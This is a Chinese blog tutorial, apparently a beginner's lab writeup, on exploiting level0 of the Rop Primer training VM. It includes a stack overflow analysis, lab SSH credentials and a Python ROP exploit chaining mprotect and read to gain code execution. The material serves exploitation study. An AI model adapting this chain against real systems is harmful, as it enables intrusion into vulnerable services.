欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创][新手向]Pwn学习笔记:Rop Primer靶机实战

[原创][新手向]Pwn学习笔记:Rop Primer靶机实战



前言

ROP靶机是一个用于训练CTF中的Pwn的平台,该靶机设计在Linux 32位系统中,一共分为3个等级。

ROP全称为Return-oriented Programming(面向返回的编程)是一种新型的基于代码复用技术的攻击,攻击者从已有的库或可执行文件中提取指令片段,构建恶意代码




靶机安装

靶机ROP下载地址:https://pan.baidu.com/s/1rYDOK-EDZDEfEYk2_IfRMg

靶机IP:192.168.238.128(会根据DHCP自动分配)




nmap扫描ip




Level0

通过nmap探测可以看到该靶机开了3个端口,我们访问http看一下







这里给出来了,该等级的c语言代码和一些需要我们关注的信息,比如该等级靶机让我们锻炼ret2libc技术,还给出了一个ssh的账号密码为:level0 : warmup ,通过上面的源码可以看到这里有很明显的栈溢出漏洞,下一步我们就登陆该等级ssh,查看调试一下




登陆成功,在目录下面有一个flag文件,我们现在的权限说没办法读取的




下一步我们运行一下该level0,看看是怎么样的




可以看到程序接收用户的输入,如果经常挖漏洞的小伙伴一看就知道这样的方式很有可能是出现溢出漏洞的(假如没有源码的情况下),下面我们来调试一下这个level0看看




通过查看main可以看到比较敏感的函数:gets




下一步使用checksec来检测一下开启了那些防护




如上图可以看到只开启了NX,满足可以使用ret2libc技术,下一步我们来确认偏移地址,我们使用pattern来完成,gdb peda插件已经内置,因为我们有源码所有我就不把偏移指设的那么多




生成完后,我们继续运行一下该程序,在gdb里直接输入 “r” 即可,然后输入生成的值执行

通过上图可以看到程序如我们预想的那样奔溃,EIP变成了 0x41414641

接下来我们通过pattern_offset来判断溢出点为44




下一步我们来确认一下溢出点是否正确






EIP已经被控制




通过上面的调试已经确认该溢出点是正确的,eip也可控,存在栈溢出漏洞,下一步我们使用vmmap查看内存映射,寻找选择可读可写和可执行的内存块




找到两个函数




下一步我们找pop3ret,我们使用 ropgadget 来帮我们完成,pade插件里已经有了




我们找到了一个,是否正确呢,我们去http://ropshell.com 上验证一下,这里就把这个level0 下载到本机然后上传到该站分析








确认无误后,下一步我们就来编写这个exp


import sys

import struct

def p(x):

        return struct.pack('<L',x)

mpro=0x80523e0

read=0x80517f0

pop3ret=0x8048882

payload="\x41"*44

payload+=p(mpro)

payload+=p(pop3ret)

payload+=p(0xbffdf000)

payload+=p(0x21000)

payload+=p(0x7)

payload+=p(read)

payload+=p(0xbffdf000)

payload+=p(0x00)

payload+=p(0xbffdf000)

payload+=p(0x666)

print payload

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功